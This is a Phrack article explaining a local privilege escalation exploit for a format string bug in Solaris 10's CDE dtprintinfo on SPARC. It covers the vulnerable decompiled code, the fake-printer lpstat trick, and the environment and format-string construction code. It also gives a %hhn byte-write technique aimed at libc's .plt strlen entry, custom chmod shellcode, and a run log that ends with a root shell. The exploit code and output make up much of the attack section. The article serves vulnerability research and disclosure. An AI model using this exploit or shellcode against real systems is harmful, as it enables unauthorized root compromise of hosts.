==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0d of 0x0f

```
|=-----------------------------------------------------------------------=|
|=-----------=[ Exploiting a Format String Bug in Solaris CDE ]=----------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ Marco Ivaldi <raptor@0xdeadbeef.info> ]=--------------=|
|=-----------------------------------------------------------------------=|
```

--[Table of Contents

--[1 - Intro

"What we do in life echoes in eternity."
    -- Maximus Decimus Meridius, https://patchfriday.com/22/

Yes, I'm aware we're living in 2021, but fax machines are still around and so is Solaris. And even if the title of this article may seem a bit anachronistic, I assure you it's still possible to find format string bugs in production code. Especially if you take a look into the formidable mess that is the Common Desktop Environment (CDE), a software that all UNIX hackers from the 90s will remember fondly [0]. It turns out CDE is still being distributed with the latest Solaris 10 version. Solaris 10 itself will be supported at least until January 2024, according to Oracle [1]. As far as I'm aware, it's still used in a lot of critical environments, especially telcos.

In this article I will be dissecting a particularly challenging memory corruption exploit I published in February. It targets a format string bug in the dtprintinfo setuid binary distributed with CDE, in order to achieve local root privilege escalation on unpatched Solaris 10 systems. The bug affects both Intel and SPARC architectures, but here I'm going to focus specifically on SPARC.

This is Phrack, so there's no need to explain what Solaris [2] is, what SPARC [3] is, or how format string bugs [4] are exploited. However, for the perusal of all young hackers reading this I've conveniently listed some references at the end of this article.

--[2 - The Bug

"Bugs are by far the largest and most successful class of entity."
    -- Encyclopedia of Animal Life

I've been hacking Solaris for quite some time. My first public exploits for this platform are from 2003 [5]. A couple of years ago, in the wake of my INFILTRATE 2019 talk [6], in which I reminisced about the good old days of unmitigated memory corruption vulnerabilities, I received an email from Marti Guasch Jimenez, a security researcher from Spain, who discovered an extraordinary bug in the infamous dtprintinfo CDE Print Viewer binary.

The bug in question is in the check_dir() function. Here's a snippet of

pseudocode from Ghidra's decompiler, slightly edited and commented for
clarity:

```
void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(char *param_1,
  undefined4 param_2, void **param_3, int *param_4, int param_5)
{
    ...
    char *pcVar3;
    ...
    char local_724 [300];
    char local_5f8 [300];
    ...
    size_t local_c;
    ...

    pcVar3 = getenv("REQ_DIR");
    if (pcVar3 == (char *)0x0) {
            sprintf(local_724, "/usr/spool/lp/requests/%s/", param_2);
    } else {
            pcVar3 = getenv("REQ_DIR");
            sprintf(local_724, pcVar3, param_2); /* VULN */
    }
    local_c = strlen(local_724);
    sprintf(local_5f8, "/var/spool/lp/tmp/%s/", param_2);
    ...
}
```

Can you spot the bug? I'm pretty sure you can. Actually, there's more than
one bug to spot here. CDE developers managed to achieve something truly
remarkable: we have two bugs for the price of one, both in the same line of
code! A stack-based buffer overflow *and* a format string bug. Not to
mention the other sprintf()-related buffer overflows... Wow. This really is
code from another era.

I've written a few exploits [7] that target these bugs. On Intel, I was
able to exploit both the buffer overflow and the format string bug. On
SPARC, on the other hand, I could only exploit the format string bug
because of how the stack is laid out, as detailed in section 3.1 below. As
a general rule, exploitation on SPARC is usually more painful (and fun)
than on Intel.

Looking closely at the code snippet above, at the line I marked with the
"VULN" comment the value associated with the environment variable REQ_DIR
(pcVar3) is directly passed as the second parameter to sprintf(). Thus, by
manipulating this variable a local attacker is easily able to control the
format string used by sprintf(). A user-supplied format string in a setuid
root program means this is game over, right? Right, but before we can do
the r00t dance we need to overcome a series of roadblocks.

--[3 - The Exploit

"I'm gonna have to go into hardcore hacking mode!"
    -- Hackerman, https://youtu.be/KEkrWRHCDQU

The specific exploit I'm going to dissect today is the one I named
raptor_dtprintcheckdir_sparc2.c. It's a reliable local root privilege
escalation exploit that should work against all unpatched Solaris 10
systems based on the SPARC architecture. It's a pretty lean exploit now,
but its development took me some time. I spent almost two weeks putting it
together, and came close to giving up a couple of times.

----[3.1 - SPARC Stack Layout Woes

While I could easily exploit the stack-based buffer overflow on Intel (see
raptor_dtprintcheckdir_intel.c), exploitation on SPARC was definitely not
straightforward.

The problem I encountered, as mentioned earlier, is related to the SPARC stack layout. When exploiting a classic stack-based buffer overflow on SPARC we can't overwrite the saved return address of the current function, but we're only able to overwrite the saved return address of the caller of the current function. In practice, this means that the vulnerable program needs to survive an additional function before we can hijack %pc.

Depending on the target, exploitation of stack-based buffer overflows on SPARC might be easy, hard, or virtually impossible. In this specific case, many vital variables would get overwritten on the way to the saved return address and the vulnerable program would not easily survive until the caller function returned. For this reason, I decided to focus on exploiting the format string bug instead.

----[3.2 - Fake Printer Setup

Our target binary is the CDE Print Viewer. Quoting from the dtprintinfo(1) manual page:

"The Print Viewer program provides a graphical interface that displays the status of print queues and print jobs. Additional information about print queues or print jobs can be retrieved within the interface, individual print queue labels and icons can be customized, and individual print jobs can be canceled."

Basically, dtprintinfo provides an X11 graphical interface that displays various information about remote and local print jobs. This is the call tree that leads to the vulnerable code path (I have provided both C++ mangled and demangled names for each symbol):

```
Queue::ProcessJobs() // __0fFQueueLProcessJobsPc()
    |___ LocalPrintJobs() // __0FOLocalPrintJobsPcPPcPi
         |___ check_dir() // __0FJcheck_dirPcTBPPP6QStatusLineStructPii
```

The vulnerable function check_dir() gets called by the LocalPrintJobs() function. This is a utility function used by Queue::ProcessJobs() to get the list of local print jobs. LocalPrintJobs() enters the directory specified by the TMP_DIR environment variable (more on this later) and calls the check_dir() function for each subdirectory that is present. This is the relevant pseudocode (again, edited and commented for clarity):

```
/* open TMP_DIR */
pcVar4 = getenv("TMP_DIR");
if (pcVar4 == (char *)0x0) {
    chdir("/usr/spool/lp/tmp");
} else {
    pcVar4 = getenv("TMP_DIR");
    chdir(pcVar4);
}
__dirp = opendir(".");
...

/* check each subdirectory in TMP_DIR */
pdVar6 = readdir64(__dirp);
if (pdVar6 != (dirent64 *)0x0) {
    uVar2 = pdVar6->d_type;
    while (true) {
        __file = &pdVar6->d_type;
        if (((uVar2 != '.') && (iVar7 = stat64((char *)__file,
          &sStack456), -1 < iVar7)) && ((sStack456.st_uid & 0x4000)
            != 0)) {
                chdir((char *)__file);
            __0FJcheck_dirPcTBPPP6QStatusLineStructPii(param_1,
              __file, &DAT_00065db0, &local_4, DAT_00065db4);
                chdir("..");
            }
```

In order to enter this code path, we must be able to double click on a configured printer in the dtprintinfo GUI. This means two things:

- We must have a valid X11 server that accepts connections from the remote
  vulnerable dtprintinfo program, so that we are able to interact with the
  GUI (for my tests I used XQuartz on macOS, configured to accept network
  connections from any host via the "xhost +" command).
- A configured printer must be present in the GUI so that we can double
  click on it.

With this introduction out of the way, it's time to look at the first part
of my exploit:

```
int main(int argc, char **argv)
{
    ...

    /* lpstat code to add a fake printer */
    if (!strcmp(argv[0], "lpstat")) {

        /* check command line */
        if (argc != 2)
            exit(1);

        /* print the expected output and exit */
        if(!strcmp(argv[1], "-v")) {
            fprintf(stderr, "lpstat called with -v\n");
            printf("device for fnord: /dev/null\n");
        } else {
            fprintf(stderr, "lpstat called with -d\n");
            printf("system default destination: fnord\n");
        }
        exit(0);
    }

    ...
    add_env("PATH=.:/usr/bin");
    ...

    /* create a symlink for the fake lpstat */
    unlink("lpstat");
    symlink(argv[0], "lpstat");
```

As discussed, a configured printer is necessary in order to be able to
reach the vulnerable code path. This code fakes the presence of a printer
connected to the system by exploiting one of the venerable 18-year-old bugs
I disclosed at INFILTRATE 2019 [6]: old versions of dtprintinfo execute the
external helper program lpstat without specifying its full path. This
allows local unprivileged users to trick dtprintinfo into believing that a
printer is present by creating a fake lpstat program and manipulating the
PATH environment variable, as shown in the code snippet above.

If your target system already has a configured printer, you don't need to
use this trick.

----[3.3 - Environment Setup

Let's continue to examine the exploit source code. Here, we parse command
line arguments (including the X11 display string) and setup the environment
before running the vulnerable program:

```
    /* process command line */
    if (argc < 2) {
        fprintf(stderr,
          "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n",
            argv[0]);
        exit(1);
    }
    sprintf(display, "DISPLAY=%s", argv[1]);
    if (argc > 2)
        retloc = (int)strtoul(argv[2], (char **)NULL, 0);

    /* evil env var: name + shellcode + padding */
    bzero(buf, sizeof(buf));
    memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
    p += strlen("REQ_DIR=");

    /* padding buffer to avoid stack overflow */
    memset(buf2, 'B', sizeof(buf2));
    buf2[sizeof(buf2) - 1] = 0x0;

    /* fill the envp, keeping padding */
    add_env(buf2);
    add_env(buf);
    add_env(display);
    add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */
    add_env("PATH=.:/usr/bin");
    add_env("HOME=/tmp");
    add_env(NULL);
```

There are some important things to notice in this code snippet:

- As previously discussed, the REQ_DIR environment variable contains the hostile format string that triggers the bug. We will finish building this string in the next sections.
- The TMP_DIR environment variable must point to a path in which we can create a directory. This is another prerequisite to reach the vulnerable code path, as mentioned in the previous section.
- The buf2 buffer serves as padding so that sprintf() has enough memory space and doesn't crash trying to reach past the bottom of the stack while processing our hostile format string.

----[3.4 - Write4 Primitive

So far, so good. It's now time for the hard part. In order to convert our memory corruption into a nice weird machine and hijack the program flow, we must be able to leverage the format string bug to write arbitrary bytes at arbitrary locations in memory. The typical and usually most convenient technique to achieve this is the one that involves single-byte writes via the %n formatting directive. A good example of this approach is available in my exploit for the Intel architecture (raptor_dtprintcheckdir_intel2.c), in which I implemented a strategy inspired by an old technique originally devised by gera. Let's take another look at the vulnerable pseudocode:

```
    } else {
            pcVar3 = getenv("REQ_DIR");
            sprintf(local_724, pcVar3, param_2); // 1
    }
    local_c = strlen(local_724); // 2
    sprintf(local_5f8, "/var/spool/lp/tmp/%s/", param_2); // 3
```

The plan I put into action on Intel is to exploit the sprintf() at "1", where we control the format string, to replace the strlen() at "2" with a strdup() and the sprintf() at "3" with a call to the shellcode dynamically allocated in the heap by strdup() at "2" and pointed to by the local_c variable. This is achieved with a simple overwrite of two .got section entries. Cool, isn't it? But I digress... If you want to dig deeper into this technique, you're invited to take a look at the exploit. In the context of the present article the most important thing to understand is that the hostile format string is built using the %n formatting directive in such a way that target memory addresses are overwritten one byte at a time. Unfortunately, this is not possible on SPARC. Like any other RISC architecture, SPARC is not happy with memory operations on misaligned/odd addresses and if we tried this approach the program would just die spitting a dreaded Bus Error.

An alternative technique that is supposed to work on SPARC involves half-word writes via the %hn formatting directive. The problem with this technique is that it causes a large amount of bytes to be written as a side-effect, and thus in this specific case it makes the program run out of stack space: don't forget we're also dealing with a sprintf()-related buffer overflow paired with our format string bug! It might be possible to prevent crashes by increasing the size of the padding buffer (remember buf2 in the exploit code snippet above?), but your mileage may vary.

So, what shall we do? After some days of bumping my head against this roadblock, consulting 20-year-old whitepapers, and endlessly experimenting on GDB, I finally figured out a possibly novel technique to perform single-byte writes on SPARC, using the less known %hhn formatting directive.

Here's the relevant code that generates the hostile format string in all its glory:

```
    /* format string: retloc */
    for (i = retloc; i - retloc < strlen(sc); i += 4) {
        check_zero(i, "ret location");
        *((void **)p) = (void *)(i); p += 4;     /* 0x000000ff */
        memset(p, 'A', 4); p += 4;       /* dummy      */
        *((void **)p) = (void *)(i); p += 4;     /* 0x00ff0000 */
        memset(p, 'A', 4); p += 4;       /* dummy      */
        *((void **)p) = (void *)(i); p += 4;     /* 0xff000000 */
        memset(p, 'A', 4); p += 4;       /* dummy      */
        *((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */
        memset(p, 'A', 4); p += 4;       /* dummy      */
    }

    /* format string: stackpop sequence */
    base = p - buf - strlen("REQ_DIR=");
    for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ),
      base += 8)
        memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));

    /* calculate numeric arguments */
    for (i = 0; i < strlen(sc); i += 4)
        CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i],
          sc[i + 1], sc[i + 2], sc[i + 3], base);

    /* check for potentially dangerous numeric arguments below 10 */
    for (i = 0; i < strlen(sc); i++)
        n[i] += (n[i] < 10) ? (0x100) : (0);

    /* format string: write string */
    for (i = 0; i < strlen(sc); i += 4)
        p += sprintf(p,
          "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn",
            n[i], n[i + 1], n[i + 2], n[i + 3]);
```

So, basically, we overwrite one byte at a time at the target address (retloc) as follows (remember that SPARC is a big endian architecture, therefore bytes are stored in memory in their natural order):

1. First, by using the %n formatting directive on retloc, we overwrite the LSB (position 0x000000ff).
2. Next in sequence, by using the %hn formatting directive on retloc, we overwrite the byte located at position 0x00ff0000.
3. Then, by using the %hhn formatting directive on retloc, we overwrite the MSB (position 0xff000000).
4. Finally, by using the %hhn formatting directive on retloc + 2, we overwrite the byte located at position 0x0000ff00.

From my perspective, this last overwrite shouldn't be allowed on SPARC, but it works and I'm definitely not complaining!

----[3.5 - Target Memory Location

After I figured out my write4 primitive, I needed to pick a suitable memory location to patch in order to redirect the program flow. I turned to the trusted Shellcoder's Handbook [8] in search of inspiration... and I almost ran out of options. Based on the book and on my experience, I identified the following main possibilities:

- .plt section entries in the vulnerable binary are a common target, but at least on my test system their addresses start with a null byte, therefore this quickly turned out to be a dead end.
- OS function pointers described in the Shellcoder's Handbook that used to be a popular target 15 years ago unfortunately are not present anymore in recent versions of Solaris 10.
- Being cumbersome and somewhat unreliable, function activation records are a traditionally terrible choice as an overwrite location, but they have a tendency to become more appealing as a last resort target when you have exhausted all other alternatives.

For a while, I went down the rabbit hole represented by the third option... The result of my tribulations is raptor_dtprintcheckdir_sparc.c. After I got the right offsets this exploit worked perfectly on my test system, with just one "minor" caveat: it worked only when GDB or truss were attached to the target process! To borrow Neel Mehta's words (again, quoted from the Shellcoder's Handbook):

"It's quite common to find an exploit that only works with GDB attached to the process, simply because without the debugger, break register windows aren't flushed to the stack and the overwrite has no effect."

You gotta love SPARC's quirks... Feel free to take a look at that specific exploit for a deeper discussion of other potential overwrite targets and hypothetical workarounds. Long story short, after much tweaking and debugging I noticed libc also contains .plt jumpcodes (with relocation type R_SPARC_JMP_SLOT) that, to everyone's wonder:

- Get executed upon function calling.
- Are writable (why is that?).
- Don't start with a null byte.

I don't know about you, but they surely look like a juicy target to me! Let's take a look at the vulnerable pseudocode once again:

```
    } else {
            pcVar3 = getenv("REQ_DIR");
            sprintf(local_724, pcVar3, param_2); // 1
    }
    local_c = strlen(local_724); // 2
    sprintf(local_5f8, "/var/spool/lp/tmp/%s/", param_2); // 3
```

The plan is to overwrite the jumpcode of the strlen() function that gets called at "2", right after the vulnerable sprintf(). From here on, exploitation is pretty straightf... Wait, with what should we overwrite the .plt entry?

----[3.6 - Custom Shellcode

Let's grab the libc base and the offset to strlen(), by using pmap against the PID of the running vulnerable program and objdump against libc.so.1 as follows:

```
bash-3.2# pmap 3321 | grep libc.so.1
FE800000    1224K r-x--  /lib/libc.so.1
FE942000      40K rwx--  /lib/libc.so.1
FE94C000       8K rwx-   /lib/libc.so.1
bash-3.2# objdump -R /usr/lib/libc.so.1 | grep strlen
0014369c R_SPARC_JMP_SLOT  strlen
```

We are looking at where the code is mapped into memory. As we can see, on my test system the .text section of libc is loaded at base address 0xfe800000 and strlen() is at the relative address 0x0014369c. Adding these two values together gives the absolute address of the strlen() jumpcode in the running process 3321:

```
bash-3.2# python -c 'print hex(0xFE800000+0x0014369c)'
0xfe94369cL
bash-3.2# pmap 3321 | grep libc.so.1
FE800000    1224K r-x--  /lib/libc.so.1
FE942000      40K rwx--  /lib/libc.so.1 <- strlen() jumpcode is here
FE94C000       8K rwx-   /lib/libc.so.1
```

The strlen() jumpcode is located in a memory region (mapped at 0xfe942000) that is both executable and writable, as mentioned earlier. What's in there? Let's examine the memory contents at the strlen() jumpcode address 0xfe94369c with the help of GDB:

```
(gdb) x/10i 0xfe94369c
0xfe94369c:     nop
0xfe9436a0:     b,a   0xfe832000
0xfe9436a4:     nop
0xfe9436a8:     nop
0xfe9436ac:     b,a   0xfe832980
0xfe9436b0:     nop
0xfe9436b4:     nop
0xfe9436b8:     ba    0xfe832ac0
0xfe9436bc:     nop
0xfe9436c0:     sethi  %hi (0xb4000), %g1
```

Indeed, our designated target address contains actual executable code, with branches that are taken when a specific library function is invoked.

To ensure that my exploits are reliable, I always like to keep them as simple as possible. Therefore, instead of meddling with jumpcodes and branches, I decided to craft the shellcode directly in the .plt section of libc by exploiting the format string bug, as shown in the last exploit code snippet above. This technique proved to be very effective, but empirical tests showed that (for unknown reasons) the shellcode size was limited to 36 bytes. It looks like there's a limit to the number of arguments passed to sprintf(), unrelated to where we write in memory... Who cares, 36 bytes are more than enough, right?

Here's my custom Solaris/SPARC shellcode [9]:

```
char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */
/* chmod("./me", 037777777777) */
"\x92\x20\x20\x01"  /* sub  %g0, 1, %o1     */  // 1
"\x20\xbf\xff\xff"  /* bn,a <sc>            */  // 2
"\x20\xbf\xff\xff"  /* bn,a <sc + 4>        */  // 3
"\x7f\xff\xff\xff"  /* call <sc + 8>        */  // 4
"\x90\x03\xe0\x14"  /* add  %o7, 0x14, %o0      */  // 5
"\xc0\x22\x20\x04"  /* clr  [ %o0 + 4 ]     */  // 6
"\x82\x10\x20\x0f"  /* mov  0xf, %g1        */  // 7
"\x91\xd0\x20\x08"  /* ta   8           */  // 8
"./me";                             // 9
```

How cute is this? Briefly, it works as follows. At line "1" we set the second argument passed to chmod() via the %o1 register to the value -1, by subtracting 1 from the %g0 register that always contains a value of zero.

The purpose of lines "2" to "4" is to find out where we are in memory, as needed by almost any shellcode to reference any strings it includes. This is commonly known as the GetPC code. On the Intel architecture, GetPC is easily implemented by a jump and the familiar call/pop instruction pair. The instructions necessary to accomplish this on SPARC are slightly more complicated (of course!), due to the so called "branch delay slot". Basically, when a branch or call instruction is reached, the instruction immediately following the branch/call gets executed before the program flow is redirected to the specified destination address. If a branch is "annulled" (e.g., with an instruction such as "b,a <address>"), the instruction in the delay slot is executed only if the branch is taken; otherwise, it's always executed.

Coming back to our 3 instructions that implement the infamous SPARC GetPC code that deals with the branch delay slot, the order of execution is:

```
1. Line "2": bn,a <sc> // don't jump, skip next instruction
2. Line "5": add  %o7, 0x14, %o0 // delay slot of call instruction at "4"
3. Line "4": call <sc + 8> // jump to line "3", save return address in %o7
4. Line "3": bn,a <sc + 4> // don't jump, skip next instruction
5. Rest of the shellcode, starting with line "5"
```

After the GetPC code gets executed, we have the address of the call instruction at line "4" stored in the %o7 register. At line "5" we use this value to calculate the address of the "./me" string located at the end of the shellcode (line "9") and store it into %o0, which will be the first argument passed to chmod(). At line "6" we null-terminate this string by dynamically patching memory. Finally, at lines "7" and "8" we invoke the syscall 0xf, which is chmod().

Now, to get a working exploit we just need to put everything together:

```
    /* setup the directory structure and the symlink to /bin/ksh */
    unlink("/tmp/just/chmod/me");
    rmdir("/tmp/just/chmod");
    rmdir("/tmp/just");
    mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO);
    mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO);
    symlink("/bin/ksh", "/tmp/just/chmod/me");
    ...

    /* run the vulnerable program */
    execve(VULN, arg, env);
    perror("execve");
    exit(1);
}
```

Basically, here we setup the directory structure as needed to reach the vulnerable code path and we create a symlink from /tmp/just/chmod/me to /bin/ksh (/tmp/just/chmod will be the current working directory when the bug gets hit). Then, we launch dtprintinfo with the crafted environment to trigger the bug, execute the shellcode, and make /bin/ksh setuid root.

After the exploit is populated with the correct base address of libc and with the offset to strlen(), it should work reliably against any unpatched Solaris 10 system running on the SPARC architecture. That's right, it's a one-shot exploit: there's no ASLR or any other modern shenanigans to be reckoned with. Just the usual, almost reassuring, non-executable stack.

Here's an example run of the exploit on my test system:

```
-bash-3.2$ uname -a
SunOS nostalgia 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
-bash-3.2$ id
uid=100(user) gid=1(other)
-bash-3.2$ ls -l /bin/ksh
-r-xr-xr-x   3 root     bin       209288 Feb 21  2012 /bin/ksh
-bash-3.2$ gcc raptor_dtprintcheckdir_sparc2.c -o \
raptor_dtprintcheckdir_sparc2 -Wall

[on your local X11 server: disable the access control via "xhost +"]

-bash-3.2$ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0
raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>

Using SI_PLATFORM       : SUNW,SPARC-Enterprise (5.10)
Using libc/.plt/strlen  : 0xfe94369c
```

```
Don't worry if you get a SIGILL, just run /bin/ksh anyway!

lpstat called with -v
lpstat called with -v
lpstat called with -d

[on your local X11 server: double click on the fake "fnord" printer]

Illegal Instruction
-bash-3.2$ ls -l /bin/ksh
-rwsrwsrwx   3 root     bin       209288 Feb 21  2012 /bin/ksh
-bash-3.2$ ksh
# id
uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
```

--[4 - Outro

"Yeah, I had tickets to the earliest showing (Wednesday 10PM) and was stunned when Trinity whipped out Nmap! I almost got up and did the r00t dance right there in the theatre :)."
    -- Fyodor (0dd)

Hard to believe, but it's been 21 years almost to the day since that fateful summer, when the first exploits targeting format string bugs were posted on Bugtraq. Shortly after, Lamagra and Tim Newsham published their whitepapers on format string attacks, and one year later scut released his definitive guide on the subject. Frankly, it's also hard to believe that format string bugs haven't been completely eradicated, as they're relatively easy to spot with static analysis techniques. But we all know how these things go, don't we?

The specific bugs I discussed in this article were fixed during the general cleanup of CDE code done by Oracle in the aftermath of my recent vulnerability disclosures. However, I have the feeling that many bugs are still lurking in CDE, ready to be found by inspired hackers. After all, why do a CTF, when you can do CDE?

--[5 - Shouts

"I think different personalities find different bugs."
    -- Bas Alberts

I would like to thank all fellow old school hackers from ADM, TESO, THC, LSD, 0dd, etc. for their incredible research work spanning decades. You're an endless source of inspiration for me.

I would also like to thank my partner in VOODOO macro crime against readable code, inode. Without you, I would've never started hacking Solaris, so there's that.

And, of course, Marti Guasch Jimenez deserves a special mention for finding the actual bug I've exploited. Keep on hacking!

--[6 - References

[0] https://en.wikipedia.org/wiki/Common_Desktop_Environment
[1] https://www.oracle.com/us/assets/lifetime-support-hardware-301321.pdf
[2] https://en.wikipedia.org/wiki/Solaris_(operating_system)
[3] https://en.wikipedia.org/wiki/SPARC
[4] https://julianor.tripod.com/bc/formatstring-1.2.pdf
[5] https://0xdeadbeef.info/exploits/raptor_libdthelp.c
[6] https://github.com/0xdea/raptor_infiltrate19
[7] https://github.com/0xdea/raptor_infiltrate20/tree/main/exploits
[8] https://www.goodreads.com/book/show/1174511.The_Shellcoder_s_Handbook
[9] https://cybersecpolitics.blogspot.com/2019/03/

```
|=[ EOF ]=---------------------------------------------------------------=|
```